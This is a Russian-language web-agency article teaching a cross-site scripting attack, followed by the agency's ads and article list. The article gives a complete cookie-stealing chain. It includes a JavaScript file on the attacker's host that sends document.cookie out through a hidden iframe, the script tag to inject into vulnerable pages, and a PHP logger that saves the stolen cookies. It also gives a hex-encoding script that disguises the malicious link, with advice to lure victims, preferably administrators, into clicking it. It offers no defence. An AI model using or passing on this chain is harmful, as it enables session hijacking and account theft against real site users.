XSS-атака. Общий подход.
Итак, сегодня поговорим об атаке XSS. Давайте для начала разберемся с этой аббревиатурой. Дело в том, что ее часто называют CSS, что может сбить с толку новичка. XSS образовано от английской фразы Cross Site Scripting, что дословно переводится как межсайтовый скрптинг. Отсюда видно, что верная аббревиатура CSS. Но CSS уже существует, она означает Cascading Style Sheets – каскадные таблицы стилей. Чтобы не возникало путаницы, принято межсайтовый скриптинг называть не CSS, а XSS. Это тип уязвимости системы, позволяющий внедрять в код страниц HTML-код. Этот тип уязвимости используется не для атаки сервера, а для атаки его пользователей, просматривающих зараженные страницы.
Чем может быть опасна возможность внедрять свой HTML-код? Сам по себе HTML-код не несет в себе опасности, так как возможностей там не так много. Для расширения его возможностей есть поддержка JavaScript – вот его-то и используют хакеры. Потому как JavaScript исполняется на стороне клиента, этот вид атаки направлен именно на клиентов, а не на сервер.
Смысл этой атаки заключается в том, чтобы узнать значения некоторых переменных у пользователя. А чаще всего, узнать хочется значения тех переменных, которые хранятся у пользователя в COOKIES'ах.
JavaScript позволяет получить доступ к COOKIES пользователя следующим образом:
Quote |
document.cookie |
Это мы учтем. Но мы не можем просто взять и попросить пользователя пройти по ссылке на наш web-сервер, где ему будет выдана страничка, считывающая все COOKIES. Чтобы пользователи так легко не были взломаны, предусмотрена следующая система:
- COOKIES’ы сортируются по сайтам, которые их установили пользователю
- Считать COOKIES определенного сайта (например, сайта www.site.ru) может только сайт, установивший ее (в данном случае, только www.site.ru)
Это нам сильно усложняет жизнь. Надо каким-то образом вставить код, отправляющий эти COOKIES нам, на том сайте, который имеет право на считывание этих COOKIES. Для этого мы ищем на сайте любые места, куда мы можем вставить свой HTML-код. Это могут быть как переменные, передаваемые в командной строке, так и любые другие, которые мы можем модифицировать. Где-нибудь на форумах или в чате это могут быть поля ввода сообщений, или же наш собственный ник. Например, можно ввести в качестве ника:
Quote |
mi<B>cr</B>on |
Если дальше в нике две средние буквы будут отображаться жирным шрифтом, значит в это поле можно внедрять свой HTML-код.
XSS можно условно разделить на 2 вида:
- Активные – при которых пользователь сразу зайдя на зараженную страницу, отправит нам свои данные.
- Пассивные – при которых от пользователя потребуются дополнительные действия. Например, надо будет нажать на специально модифицированную ссылку.
Давайте рассмотрим общий прием того, какой HTML-код следует вписывать на страницу. Для начала нам следует зарегистрировать сайт на каком-нибудь хостинге. Можно на бесплатном. Допустим, это будет myhost.hut.ru. На нем создаем файл file.js со следующим содержимым:
Quote |
document.write('<iframe width=1 height=1 style="position: absolute; visibility: hidden;" src="'+'http://myhost.hut.ru/file.php'+'?host='+location.host+'&cook='+document.cookie+'"></iframe>'); |
Это и будет нашим атакующим кодом. А вызывать мы его будем путем вставки на уязвимую страницу следующего кода:
Quote |
<script src=http://myhost.hut.ru/file.js></script> |
Этот код открывает невидимый фрейм, в котором загружается файл http://myhost.hut.ru/file.php (ему передаются в переменных host и cook хост и COOKIES человека, который открыл страницу). Так как этот фрейм будет являться частью самой зараженной странички, он будет иметь доступ к COOKIES’ам этого сайта. Вот и сбылся наш план – мы запустили php-скрипт на нашем сервере и передали ему данные, полученные другим скриптом (на JavaScript). Самая сложная часть заканчивается. Теперь мы уже в спокойной обстановке у себя на сервере сохраним эти данные в файл. Для этого запишем в файл file.php следующий код:
Quote |
<?
$file = fopen("cookies.txt","a"); fputs($file,"[".date("d.m.y H:i")."]: host=".$_GET[‘host’].", COOKIES=”.$_GET[‘cook’].”\r\n"); fclose($file); ?> |
Данный код предельно прост – записывает в файл cookies.txt полученные данные.
На этом вобщем-то и заканчивается вся техника. Если для того, чтобы запустить весь описанный механизм от пользователя требуется перейти по определенной ссылке, например:
Quote |
http://site.ru/info.php?login=<script src=http://myhost.hut.ru/file.js></script> |
то можно зашифровать часть строки (). Так как при переходе по этой ссылке, эта строка будет передаваться в адресной строке браузера, ее можно перевести в шестнадцатеричный код. Для этого можно написать несложный скрипт, пусть он будет называться encodeurl.php:
Quote |
<? $str = urldecode($_GET['str']); for($i=0;$i<strlen($str);$i++) { if($str[$i]=='&') { echo "$str[$i]"; } else { $hex=dechex(ord($str[$i])); echo "%$hex"; } } ?> |
И передадим ему параметром str ту часть строки, которую будем шифровать:
Quote |
http://myhost.hut.ru/encodeurl.php?str=<script src=http://myhost.hut.ru/file.js></script> |
Он выдаст нам следующий текст:
Quote |
%3c%73%63%72%69%70%74%20%73%72%63%3d%68%74%74%70%3a%2f %2f%6d%79%68%6f%73%74%2e%68%75%74%2e%72%75%2f%66%69%6c%65%2e %6a%73%3e%3c%2f%73%63%72%69%70%74%3e |
Берем нашу специально модифицированную для атаки ссылку (http://site.ru/info.php?login=) и заменяем в ней часть строки на зашифрованную строку:
Quote |
http://site.ru/info.php?login=%3c%73%63%72%69%70%74%20%73%72%63%3d%68 %74%74%70%3a%2f%2f%6d%79%68%6f%73%74%2e%68%75%74%2e %72%75%2f%66%69%6c%65%2e%6a%73%3e%3c%2f%73%63%72%69%70%74%3e |
Теперь в глаза не бросается вредоносный код. И мы смело можем упрашивать жертву зайти по этой ссылке. Либо разместить ее на форуме, где кто-нибудь ее нажмет (лучше всего, если это будет администратор
Ну вот и все, пожалуй...


Поделиться статьей:
Акция: Закажи любой сайт до окончания акции и получи скидку + подбор семантического ядра + поисковую оптимизацию сайта Это позволит Вам получать еще больше трафика и соответственно клиентов из Интернета!
До конца акции осталось
0
5
4
3
2
1
0
0
9
8
7
6
5
4
3
2
1
0
0
5
4
3
2
1
0
0
9
8
7
6
5
4
3
2
1
0
0
9
8
7
6
5
4
3
2
1
0
0
9
8
7
6
5
4
3
2
1
0
|
Узнайте подробности акции у менеджеров компании по телефонам: 8-924-200-7194 г.Хабаровск 8-800-550-9899 Бесплатно по России (с 2:30 до 11:30 по Мск) |
Новые статьи и публикации
- 2023-01-26 » Установка и настройка Call tracking и Email tracking
- 2022-11-09 » 12 работающих формул продающих текстов
- 2022-11-09 » Дизайн сайта как SEO фактор ранжирования в 2022. Неочевидные нюансы в дизайне
- 2022-09-06 » Яндекс выложил в опенсорс фреймворк для ускорения разработки мобильных приложений
- 2022-08-18 » Как я могу перенаправить и переписать свои URL-адреса с помощью файла .htaccess?
- 2022-08-01 » Яндекс выложил в опенсорс исходный код и документацию фреймворка userver
- 2022-07-29 » Как выявить медленные SQL запросы?
- 2022-07-29 » Читали мое письмо или нет? Как проверить с помощью php — Записки программиста
- 2022-07-26 » Я потратил 30 дней на анализ лучших кнопок призыва к действию, которые смог найти в Интернете
- 2022-06-29 » ТОП-15 актуальных трендов интернет-маркетинга для России: эксперт рассказал о тенденциях рынка в 2022 году
- 2022-06-21 » Почему «99 франков» — это не лучшая ценовая стратегия, и как теперь «рисовать» привлекательные цены
- 2022-06-16 » Пушкинская карта и Культура.РФ на Вашем сайте. Подключим к действующему сайту и(или) сделаем новый!
- 2022-05-18 » Анализ рынка интернет-маркетинга в РФ от Яндекс Дзен
- 2022-05-18 » Итоги развития рекламного рынка РФ за 2021 год по версии АКАР
- 2022-05-18 » Потребление мобильного трафика в Рунете достигло рекордных значений
- 2022-05-17 » Yappy, TenChat и другие. Обзор новых русских соцсетей и их возможностей
- 2022-05-17 » Реклама малого бизнеса. Разбор доступных каналов, инструментов аналитики и терминов
- 2022-05-16 » Зачем нужен счетчик Top@Mail.ru и как установить на сайт пиксель myTarget
- 2022-04-25 » Несмотря на отсутствие блокировки: в Youtube потеряли более 20% активных русскоязычных авторов
- 2022-04-25 » Чат-бот – что это такое
- 2022-04-19 » Комплексная услуга по разработке сайта или Интернет-магазина БЕСПЛАТНО!!!
- 2022-03-17 » Импорт большого дампа БД в OpenServer через консоль
- 2022-02-25 » Возможности и преимущества Google Analytics 4
- 2022-02-20 » Интеграция Интернет-магазинов и сайтов с маркетплейсами в несколько кликов – РЭДЛАЙН! ыходи на Маркетплейсы — кратно увеличь свои продажи!
- 2022-01-26 » Анализ и отслеживание конверсий
- 2022-01-26 » Создаем сайты на Тильде с маркетинговой проработкой!
- 2022-01-26 » Разработка сайтов на Wordpress "под ключ"
- 2022-01-18 » Основные UX-тренды 2022 года
- 2021-12-24 » Как увеличить продажи перед Новым годом
- 2021-12-23 » Ключевые запросы − основа эффективного продвижения
Предоставляем полный комплекс услуг по созданию, обслуживанию и продвижению сайтов по всей России и ближнему зарубежью с 2006 года!
Как мы работаем
Заявка
Позвоните или оставьте заявку на сайте.
Консультация
Обсуждаем что именно Вам нужно и помогаем определить как это лучше сделать!
Договор
Заключаем договор на оказание услуг, в котором прописаны условия и обязанности обеих сторон.
Выполнение работ
Непосредственно оказание требующихся услуг и работ по вашему заданию.
Поддержка
Сдача выполненых работ, последующие корректировки и поддержка при необходимости.
Хитрый план)